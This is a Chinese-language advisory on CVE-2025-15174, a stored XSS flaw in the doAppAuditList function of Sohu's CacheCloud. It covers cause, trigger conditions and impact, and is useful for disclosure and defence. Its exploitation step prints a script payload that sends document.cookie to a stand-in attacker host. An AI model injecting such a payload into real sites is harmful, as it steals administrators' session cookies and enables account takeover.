CVE-2025-15174CVE-2025-15174是搜狐TV缓存云平台CacheCloud中存在的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞影响CacheCloud 3.2.0及之前所有版本。漏洞位于Web控制器的AppManageController.java文件中的doAppAuditList函数,由于该函数在处理用户输入时未对特殊字符进行充分的HTML转义或输入验证,导致攻击者可以在应用程序中注入恶意JavaScript代码。当其他用户访问包含恶意脚本的页面时,这些脚本将在其浏览器上下文中执行,从而窃取会话Cookie、劫持用户账户或进行其他恶意操作。由于该漏洞需要低权限用户身份且需要用户交互才能触发,CVSS评分仅为3.5(低危)。该漏洞的利用代码已公开披露,且项目方在收到问题报告后尚未做出响应,建议用户尽快采取防护措施。
该漏洞属于典型的存储型XSS(Stored XSS)漏洞,攻击流程如下:
1. 漏洞位置:src/main/java/com/sohu/cache/web/controller/AppManageController.java中的doAppAuditList函数
2. 漏洞成因:该函数在处理应用程序审核列表请求时,直接将用户提交的输入参数(如应用程序名称、描述等)未经充分过滤或转义即存储到数据库中,并在后续页面展示时直接回显到HTML响应中
3. 利用方式:攻击者以低权限用户身份登录系统,在提交应用程序审核申请时,在相关输入字段中嵌入恶意JavaScript代码,例如:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
4. 触发条件:当管理员或具有审核权限的用户访问审核列表页面时,恶意脚本会被浏览器解析执行
5. 影响范围:可获取用户会话信息、劫持用户操作、进行钓鱼攻击等。由于攻击者可以获取管理员凭据,还可能进一步获取系统更高权限